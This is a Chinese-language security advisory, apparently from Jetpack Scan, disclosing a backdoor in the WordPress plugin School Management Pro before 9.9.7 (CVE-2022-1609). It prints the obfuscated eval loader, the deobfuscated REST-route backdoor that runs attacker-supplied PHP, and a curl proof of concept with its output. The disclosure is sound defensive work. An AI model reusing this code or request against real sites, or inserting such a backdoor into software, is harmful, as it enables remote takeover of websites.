在 WordPress 的 School Management Pro 插件中发现后门

已发表: 2022-05-20

来自 Weblizar 的 WordPress 插件“The School Management Pro”的 9.9.7 之前的版本包含一个后门,允许未经身份验证的攻击者在安装了该插件的站点上执行任意 PHP 代码。 如果您的站点上安装了早期版本,我们建议立即升级到 9.9.7 或更高版本。 这是一个关键的安全问题。

请继续阅读以获取完整的详细信息。

细节:

  • 插件名称:学校管理专业版
  • 插件 slug: school-management-pro , school-management-pro-9.9.6 school-management-pro-9.9.5 , the-school-management
  • 供应商:Weblizar
  • 受影响的版本:< 9.9.7
  • CVE:CVE-2022-1609
  • CVSS 分数:10.0(严重)
  • CVSS 矢量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB:https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Jetpack Scan 的一部分工作是通过检查在我们托管的网站上发现的可疑文件来支持我们托管的 WordPress 业务。 这通常是由于文件被我们的一个签名标记,或者网站所有者发现了一些可疑的东西并希望得到我们的意见。 就像事物的本质一样,有时这些文件是良性的,有些是误报,有些是新的恶意软件菌株或变体,需要更多的工作来正确分类。

然而,有时,我们得到的结果更有趣。

几周前,发生了一起这样的事件。 WordPress.com 升级支持团队就在多个站点的插件中发现的一些混淆的、明显是恶意的代码与我们联系。

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

经过两轮微不足道的反混淆,这给出了:

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

代码本身并不是那么有趣:它是一个明显的后门注入到插件的许可证检查代码中。 它允许任何攻击者在安装了插件的站点上执行任意 PHP 代码,如下面的概念证明所示:

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

这是我们在 nulled 插件中经常看到的那种东西; 这种情况经常发生,以至于我们在上一篇文章中已经介绍了一个类似的案例。 我们的第一个假设是这里也是如此。 网站所有者安装了一个来自阴暗来源的插件。

但是,我们确信安装的插件是直接从供应商处收到的。 供应商也很快证实了这一点,在意识到它的存在后删除了有问题的代码。

我们试图从供应商那里获得更多关于后门何时被注入、哪些版本受到影响以及代码最初是如何进入插件的信息。 这项努力没有成功,因为供应商表示他们不知道代码何时或如何进入他们的软件。

我们至少在我们的托管系统中看到了包含后门的 8.9 版本,但由于我们没有任何关于后门何时首次出现的明确信息,我们必须假设 9.9.7 之前的任何版本都受到影响。

插件在许多不同的 slug 下运行,通常使用包含版本号的 slug,检测和警告问题变得更加复杂。 在我们的托管系统中,我们至少看到了以下变体:

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

来自 WordPress.org 插件存储库的免费版本不包含许可代码,也不受此后门的影响。

时间线

2022-05-04:升级后的 WordPress.com 支持团队发现了注入的代码,并联系 Jetpack Scan 以分析和验证发现。 在确认这是一个后门后,他们通知了供应商。

2022-05-05:供应商确认注入的代码确实在他们的发行版中,并为我们提供了删除后门的 9.9.7 版本。 我们确认它是干净的。

2022-05-06:供应商积极向其客户分发 9.9.7 版本并鼓励他们进行更新。

2022-05-10:供应商回答了我们关于他们是否知道后门何时添加的其他问题,但声称他们不知道。 他们确实提供了以前的版本 9.9.4,其中包括后门。

结论

我们建议任何安装了 The School Management Pro 9.9.7 之前版本的站点立即升级。

在 Jetpack,我们努力确保您的网站免受此类漏洞的影响。 我们建议您为您的站点制定一个安全计划,其中包括恶意文件扫描和备份。 Jetpack Security 是一种出色的 WordPress 安全选项,可确保您的网站和访问者的安全。

学分

这项研究是 WordPress.com 升级支持团队与 Nic Sevic、Thom Stackhouse 和 Joshua Goode 以及 Jetpack Scan 与 Harald Eilertsen 和 Fioravante Cavallari 的合作。 还要感谢 Benedict Singer 的反馈和更正。